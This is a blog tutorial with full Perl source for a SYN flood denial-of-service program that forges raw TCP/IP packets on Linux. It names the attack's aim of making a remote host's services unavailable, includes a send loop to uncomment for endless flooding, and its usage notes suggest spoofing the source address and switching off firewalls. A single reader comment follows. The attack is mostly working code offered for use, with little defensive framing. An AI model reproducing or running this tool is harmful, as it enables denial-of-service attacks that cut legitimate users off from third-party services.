How to Code Syn Flood Program in Perl with Raw Sockets on Linux

By | August 8, 2020

Syn Flood

Syn flood program sends out a large number of syn packets to a destination host such that the destination host gets under heavy pressure to reply to all of them and hence consumes huge amount of memory/cpu resources without any real purpose.

This causes the services of the remote host to become unavailable to legitimate users. Hence the name denial of service attack (DOS attack).

In this article we are going to build a very simple syn flood program in perl using raw sockets.

This program shall fabricate raw tcp syn packets and send out to the desired destination.

And this program would work only on Linux (inspite of Perl being cross platform) since the raw socket support required by this program is not available on Windows.

Code

#!/usr/local/bin/perl

#Program to send out tcp syn packets using raw sockets on linux

use Socket;

$src_host = $ARGV[0]; # The source IP/Hostname
$src_port = $ARGV[1]; # The Source Port
$dst_host = $ARGV[2]; # The Destination IP/Hostname
$dst_port = $ARGV[3]; # The Destination Port.

if(!defined $src_host or !defined $src_port or !defined $dst_host or !defined $dst_port) 
{
	# print usage instructions
	print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";
	exit;
} 
else 
{
	# call the main function
	main();
}
 
sub main 
{
	my $src_host = (gethostbyname($src_host))[4];
	my $dst_host = (gethostbyname($dst_host))[4];
	
	# when IPPROTO_RAW is used IP_HDRINCL is not needed
	$IPROTO_RAW = 255;
	socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW) 
		or die $!;
	
	#set IP_HDRINCL to 1, this is necessary when the above protocol is something other than IPPROTO_RAW
	#setsockopt($sock, 0, IP_HDRINCL, 1);

	my ($packet) = makeheaders($src_host, $src_port, $dst_host, $dst_port);
	
	my ($destination) = pack('Sna4x8', AF_INET, $dst_port, $dst_host);
	
	print "Starting packet flood loop...";
	# uncomment to send infinite packets
	#while(1)
	{
		send($sock , $packet , 0 , $destination)
			or die $!;
	}
	print "packet send \n";
}

sub makeheaders 
{
	$IPPROTO_TCP = 6;
	local($src_host , $src_port , $dst_host , $dst_port) = @_;
	
	my $zero_cksum = 0;

	# Lets construct the TCP half
	my $tcp_len = 20;
	my $seq = 13456;
	my $seq_ack = 0;
	
	my $tcp_doff = "5";
	my $tcp_res = 0;
	my $tcp_doff_res = $tcp_doff . $tcp_res;
	
	# Flag bits
	my $tcp_urg = 0; 
	my $tcp_ack = 0;
	my $tcp_psh = 0;
	my $tcp_rst = 0;
	my $tcp_syn = 1;
	my $tcp_fin = 0;
	my $null = 0;
	
	my $tcp_win = 124;
	
	my $tcp_urg_ptr = 44;
	my $tcp_flags = $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_rst . $tcp_syn . $tcp_fin ;
	
	my $tcp_check = 0;
	
	#create tcp header with checksum = 0
	my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
	
	my $tcp_pseudo = pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TCP, length($tcp_header) ) . $tcp_header;
	
	$tcp_check = &checksum($tcp_pseudo);
	
	#create tcp header with checksum = 0
	my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags,  $tcp_win , $tcp_check, $tcp_urg_ptr);
	
	# Now lets construct the IP packet
	my $ip_ver = 4;
	my $ip_len = 5;
	my $ip_ver_len = $ip_ver . $ip_len;
	
	my $ip_tos = 00;
	my $ip_tot_len = $tcp_len + 20;
	my $ip_frag_id = 19245;
	my $ip_ttl = 25;
	my $ip_proto = $IPPROTO_TCP;	# 6 for tcp
	my $ip_frag_flag = "010";
	my $ip_frag_oset = "0000000000000";
	my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset;
	
	# ip header
	# src and destination should be a4 and a4 since they are already in network byte order
	my $ip_header = pack('H2CnnB16CCna4a4',	$ip_ver_len, $ip_tos, $ip_tot_len, $ip_frag_id,	$ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_host , $dst_host);
	
	# final packet
	my $pkt = $ip_header . $tcp_header;
	
	# packet is ready
	return $pkt;
}


#Function to calculate checksum - used in both ip and tcp headers
sub checksum 
{
	# This of course is a blatent rip from _the_ GOD,
	# W. Richard Stevens.

	my ($msg) = @_;
	my ($len_msg,$num_short,$short,$chk);
	$len_msg = length($msg);
	$num_short = $len_msg / 2;
	$chk = 0;
	
	foreach $short (unpack("S$num_short", $msg)) 
	{
		$chk += $short;
	}
	
	$chk += unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;
	$chk = ($chk >> 16) + ($chk & 0xffff);
	
	return(~(($chk >> 16) + $chk) & 0xffff);
}

Output

To run the program specify the source address, source port, destination address and destination port in order. Here is a quick example:

$ perl syn_flood.pl 192.168.1.102 6666 192.168.1.1 80

The above program needs root privileges to run, so add sudo in ubuntu for example

$ sudo perl syn_flood.pl 192.168.1.102 6666 192.168.1.1 80

The parameters are in order source host, source port, destination host, destination port.
So for example to do some ip spoofing specify a wrong source host.

Conclusion

Use a packet sniffer like wireshark to detect that packets are actually being generated and send. Presence of firewalls like firestarter can block such packets.

In such cases the program may not report any error, but neither would packets be shown in wireshark. So when testing, switch off the firewalls.

About Silver Moon

A Tech Enthusiast, Blogger, Linux Fan and a Software Developer. Writes about Computer hardware, Linux and Open Source software and coding in Python, Php and Javascript. He can be reached at [email protected].

One Comment

How to Code Syn Flood Program in Perl with Raw Sockets on Linux
  1. Adam Del Vecchio

    This looks like a great script. Is there any purpose to $tcp_header being defined twice, once on line 81 and again on line 88? Is it being changed at all by the $tcp_pseudo declaration?

Leave a Reply

Your email address will not be published. Required fields are marked *